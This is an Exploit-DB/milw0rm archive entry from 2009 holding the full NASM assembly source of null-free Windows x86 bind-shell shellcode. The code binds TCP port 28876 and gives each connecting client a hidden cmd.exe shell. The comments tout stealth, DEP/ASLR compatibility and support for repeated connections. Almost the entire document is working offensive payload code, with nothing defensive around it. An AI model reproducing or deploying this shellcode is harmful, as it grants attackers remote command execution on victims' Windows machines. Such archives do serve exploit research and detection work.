Windows/x86 (5.0 < 7.0) - Bind (28876/TCP) Shell + Null-Free Shellcode

EDB-ID:

13504

CVE:

N/A




Platform:

Windows_x86

Date:

2009-07-27


BITS 32
; Windows x86 null-free bindshell for Windows 5.0-7.0 all service packs.
; (See http://skypher.com/wiki/index.php/Hacking/Shellcode/Bind/NGS).
; Based largely on code and ideas (C) 2005 by Dafydd Stuttard, NGS Software.
; (See http://www.ngssoftware.com/papers/WritingSmallShellcode.pdf).
; Thanks to Pete Beck.
;
; Features both in this and the original code:
;  + NULL Free
;  + Windows version and service pack independant.
; Improvements of this code over the original:
;  + No assumptions are made about the values of registers.
;  + "/3GB" compatible: pointers are not assume to be smaller than 0x80000000.
;  + DEP/ASLR compatible: data is not executed, code is not modified.
;  + Windows 7 compatible: kernel32 is found based on the length of its name.
;  + Stealth: does not display a console windows on the target machine when 
;    cmd.exe is executed.
;  + Allows an unlimited number of consecutive connections.
;  + Can except connections on almost any port. The range of acceptable port
;    numbers is only limited by the fact that the negative value of the port
;    number must not contain nulls.

port equ 28876                          ; The port number to bind to.

%if ((-port & 0xFF) == 0) || (-port & 0xFF00 == 0)
  %error The given port number would result in NULLs in the code :(
%endif

AF_INET                                 equ 2

; These hashes are calculated with a separate tool.
hash_xor_value                          equ 0x71
hash_start_value                        equ 0x36
hash_kernel32_CreateProcessA            equ 0xB7
hash_kernel32_LoadLibraryA              equ 0x8F
hash_ws2_32_WSAStartup                  equ 0x09
hash_ws2_32_WSASocketA                  equ 0x98
hash_ws2_32_bind                        equ 0x66
hash_ws2_32_listen                      equ 0x56
hash_ws2_32_accept                      equ 0x77
sizeof_proc_address_table               equ 7 * 4
offset_WSAStartup_in_hash_table         equ 2
offset_accept_in_hash_table             equ 6

%define B2W(b1,b2)                      (((b2) << 8) + (b1))
%define W2DW(w1,w2)                     (((w2) << 16) + (w1))
%define B2DW(b1,b2,b3,b4)               (((b4) << 24) + ((b3) << 16) + ((b2) << 8) + (b1))

start:
    XOR     ECX, ECX                    ; ECX = 0
; Find base address of kernel32.dll. This code should work on Windows 5.0-7.0
    MOV     ESI, [FS:ECX + 0x30]        ; ESI = &(PEB) ([FS:0x30])
    MOV     ESI, [ESI + 0x0C]           ; ESI = PEB->Ldr
    MOV     ESI, [ESI + 0x1C]           ; ESI = PEB->Ldr.InInitOrder (first module)
next_module:
    MOV     EBP, [ESI + 0x08]           ; EBP = InInitOrder[X].base_address
    MOV     EDI, [ESI + 0x20]           ; EDI = InInitOrder[X].module_name (unicode string)
    MOV     ESI, [ESI]                  ; ESI = InInitOrder[X].flink (next module)
    CMP     [EDI + 12*2], CL            ; modulename[12] == 0 ? strlen("kernel32.dll") == 12
    JNE     next_module                 ; No: try next module.

; Create hash table and "ws2_32" (for LoadLibraryA) on the stack:
    PUSH    ECX                         ; Stack = 00 00 00 00
    PUSH    B2DW('2', '_', '3', '2')    ; Stack = "s2_32"
%if (hash_ws2_32_accept != 'w')
  %error The hash for ws2_32.accept is not a 'w'
%endif
    PUSH    B2DW(hash_ws2_32_bind, hash_ws2_32_listen, hash_ws2_32_accept, 's') ; hash, hash, "ws2_32"
end_of_hash_table_marker                equ 's'
    PUSH    B2DW(hash_kernel32_CreateProcessA, hash_kernel32_LoadLibraryA, hash_ws2_32_WSAStartup, hash_ws2_32_WSASocketA)
sizeof_hash_table                       equ 7
    MOV     ESI, ESP                    ; ESI -> Hash table
; Reserve space for WSADATA
    MOV     CH, 0x3                     ; ECX = 0x300
    SUB     ESP, ECX                    ; Reserve space for WSADATA
; Create a bunch of NULLs on the stack
    SUB     ESP, ECX                    ; Reserve space for NULLs
    MOV     EDI, ESP                    ; EDI = &(NULLs)
    SALC                                ; AL = 0
    REP STOSB                           ;
; Prepare arguments for various functions on the stack:
; WSASocket(__in int af=2, __in int type=1, __in int protocol=0,
;            __in LPWSAPROTOCOL_INFO lpProtocolInfo=0, __in GROUP g=0, 
;            __in DWORD dwFlags=0)
                                        ; __in LPWSAPROTOCOL_INFO lpProtocolInfo=0
                                        ; __in GROUP g=0
                                        ; __in DWORD dwFlags=0
                                        ; __in int protocol=0
    INC     ECX                         ;
    PUSH    ECX                         ; __in int type = SOCK_STREAM (1)
    INC     ECX                         ;
    PUSH    ECX                         ; __in int af = AF_INET (2)
; WSAStartup(__in WORD wVersionRequested=2, __out LPWSADATA lpWSADATa=stack)
    PUSH    EDI                         ; __out LPWSADATA lpWSAData = &(WSADATA)
    PUSH    ECX                         ; __in WORD wVersionRequested = 2 (2.0)
; Set up EDI so that a proc addresses table can be created in the NULLs,
; followed by sufficient space to store a struct sockaddr_in:
    SUB     EDI, BYTE sizeof_proc_address_table + sizeof_sockaddr_in

get_proc_address_loop:
    MOVSB                               ; [EDI] = hash
    DEC     EDI                         ; Restore EDI
; Find the PE header and export and names tables of the module:
    MOV     EBX, [EBP + 0x3C]           ; EBX = &(PE header)
    MOV     EBX, [EBP + EBX + 0x78]     ; EBX = offset(export table)
    ADD     EBX, EBP                    ; EBX = &(export table)
    MOV     ECX, [EBX + 0x20]           ; ECX = offset(names table)
    ADD     ECX, EBP                    ; ECX = &(names table)
    PUSH    ESI                         ; Save ESI
; Hash each function name and check it against the requested hash:
    XOR     EDX, EDX                    ; EDX = function number (0)
next_function_loop:
; Get the next function name:
    INC     EDX                         ; Increment function number
    MOV     ESI, [ECX + EDX * 4]        ; ESI = offset(function name)
    ADD     ESI, EBP                    ; ESI = &(function name)
    MOV     AH, hash_start_value        ; Initialize the hash
hash_loop:
; Hash the function name:
    LODSB                               ; Load a character of the function name
    XOR     AL, hash_xor_value          ; Calculate a hash
    SUB     AH, AL                      ;
    CMP     AL, hash_xor_value          ; Is this the terminating 0 byte?
    JNE     hash_loop                   ; No: continue hashing
    CMP     AH, [EDI]                   ; Yes: Does the hash match ?
; Check if the hash matches and loop if not:
    JNZ     next_function_loop
    POP     ESI                         ; Restore ESI
; Find the address of the requested function:
    MOV     ECX, [EBX + 0x24]           ; ECX = offset ordinals table
    ADD     ECX, EBP                    ; ECX = &oridinals table
    MOVZX   EDX, WORD [ECX + 2 * EDX]   ; EDX = ordinal number of function
    MOV     ECX, [EBX + 0x1C]           ; ECX = offset address table
    ADD     ECX, EBP                    ; ECX = &address table
    MOV     EAX, EBP                    ; EAX = &(module)
    ADD     EAX, [ECX + 4 * EDX]        ; EAX = &(function)
; Save the address of the requested function:
    STOSD                               ; Save proc address
; When needed, call LoadLibraryA to start looking for ws2_32.dll functions:
    CMP     BYTE [ESI], hash_ws2_32_WSAStartup ; We just found LoadLibraryA
    JNE     skip_load_library           ;
    LEA     EBX, [ESI - offset_WSAStartup_in_hash_table + offset_accept_in_hash_table]
    PUSH    EBX                         ; __in LPCTSTR lpFileName = &("ws2_32")
    CALL    EAX                         ; LoadLibraryA(&"ws2_32") 
    PUSH    EDI                         ; Save proc address table[WSAStartup]
    XCHG    EAX, EBP                    ; EBP = &(ws2_32.dll)
skip_load_library:
; Continue until all hashes have been found:
    CMP     BYTE [ESI], end_of_hash_table_marker
    JNE     get_proc_address_loop       ;
    POP     ESI
; Call WSAStartup (Arguments are already on the stack)
    LODSD
    CALL    EAX                         ; WSASTARTUP
; Call WSASocket (Arguments are already on the stack)
    LODSD
    CALL    EAX
    XCHG    EAX, EBP                    ; EBP = Server socket

; Create a struct sockaddr_in on the stack for use by bind()
sizeof_sockaddr_in equ 2 + 2 + 4 + 8
    SUB     DWORD [EDI], -W2DW( AF_INET, B2W(port >> 8, port & 0xFF)); sin_family = AF_INET, sin_port = (port, little endian!)
; Set up the 2nd and 3rd argument for bind:
;   bind(__in SOCKET s=(added later), __in const struct sockaddr *name, __in int namelen)
    PUSH    BYTE 0x10                   ; __in int namelen = 0x10
    PUSH    EDI                         ; __in const struct sockaddr *name = &(sockaddr_in)
; bind(), listen() and accept() all take the server socket as their first
; argument. listen() and accept() only need NULLs for the remaining arguments
; and the arguments for bind() are already on the stack. Because bind() and 
; accept() return 0 and listen() returns a socket, which is not 0, a loop can be
; used to call them:
;   listen(__in SOCKET s=(added later), __in int backlog=0)
;   accept(__in SOCKET s=(added later), __in struct sockaddr *addr=0, __inout int *addrlen=0)
call_loop:
    LODSD
accept_loop:
    PUSH    EBP                         ; __in SOCKET s = Server socket descriptor
    CALL    EAX
; Check if accept() has returned a socket:
    TEST    EAX, EAX
    JZ      call_loop

; Create structures on the stack for CreateProcessA
; STARTUPINFO {
;   DWORD cb                            00-03: >= sizeof(STARTUPINFO)
;   LPTSTR lpReserved                   04-07: 0
;   LPTSTR lpDesktop                    08-0B: 0
;   LPTSTR lpTitle                      0C-0F: 0
;   DWORD dwX                           10-13: 0
;   DWORD dwY                           14-17: 0
;   DWORD dwXSize                       18-1B: 0
;   DWORD dwYSize                       1C-1F: 0
;   DWORD dwXCountChars                 20-23: 0
;   DWORD dwYCountChars                 24-27: 0
;   DWORD dwFillAttribute               28-2B: 0
;   DWORD dwFlags                       2C-2F: (STARTF_USESTD_HANDLES 0x100)
;   WORD wShowWindow                    30-31: 0
;   WORD cbReserved2                    32-33: 0
;   LPBYTE lpReserved2                  34-37: 0
;   HANDLE hStdInput                    38-3B: (Socket descriptor)
;   HANDLE hStdOutput                   3C-3F: (Socket descriptor)
;   HANDLE hStdError                    40-43: (Socket descriptor)
; }
sizeof_STARTUPINFO                      equ 0x44
offset_dwFlags_in_STARTUPINFO           equ 0x2C
offset_hStdInput_in_STARTUPINFO         equ 0x38
; Each call to accept() removes two DWORDS off the stack. These must be put back
; or ESP will run off the stack eventually:
    XOR     EDX, EDX                    ; EDX = 0
    PUSH    EDX                         ; Restore stack #1
; We'll also create a struct STARTUPINFO
    PUSH    B2DW('c', 'm', 'd', ' ')    ; Restore stack #2 and STARTUPINFO.cb = "cmd " (> 0)
    LEA     EDI, [ESP + offset_hStdInput_in_STARTUPINFO]; EDI = &(STARTUPINFO.hStdInput)
    STOSD                               ; STARTUPINFO.hStdInput = Socket descriptor
    STOSD                               ; STARTUPINFO.hStdOutput = Socket descriptor
    STOSD                               ; STARTUPINFO.hStdError = Socket descriptor
    MOV     BYTE [EDI - sizeof_STARTUPINFO + offset_dwFlags_in_STARTUPINFO + 1], 1 ; STARTUPINFO.dwFlags = STARTF_USESTDHANDLES (0x100)
; CreateProcess(...)
    PUSH    ESP                         ; __out LPPROCESS_INFORMATION lpProcessInformation == &(STARTUPINFO)
    XCHG    [ESP], EDI                  ; __out LPPROCESS_INFORMATION lpProcessInformation == &(STARTUPINFO) + sizeof(STARTUPINFO)
    PUSH    EDI                         ; __in LPSTARTUPINFO lpStartupInfo == &(STARTUPINFO)
    PUSH    EDX                         ; __in_opt LPCTSTR lpCurrentDirectory = NULL
    PUSH    EDX                         ; __in_opt LPVOID lpEnvironment = NULL
    PUSH    EDX                         ; __in DWORD dwCreationFlags = 0
    MOV     BYTE [EDI-5*4+3], 0x8       ; __in DWORD dwCreationFlags = CREATE_NO_WINDOW (0x08000000)
    PUSH    EDI                         ; __in BOOL bInheritHandles = TRUE (>0)
    PUSH    EDX                         ; __in_opt LPSECURITY_ATTRIBUTES lpThreadAttributes = NULL
    PUSH    EDX                         ; __in_opt LPSECURITY_ATTRIBUTES lpProcessAttributes = NULL
    PUSH    EDI                         ; __inout_opt LPTSTR lpCommandLine = &("cmd ")
    PUSH    EDX                         ; __in_opt LPCTSTR lpApplicationName = NULL
    CALL    [ESI - sizeof_proc_address_table]
; Load accept() into EAX and jump back into our code.
    MOV     EAX, [ESI - 4]
    JMP     accept_loop

; milw0rm.com [2009-07-27]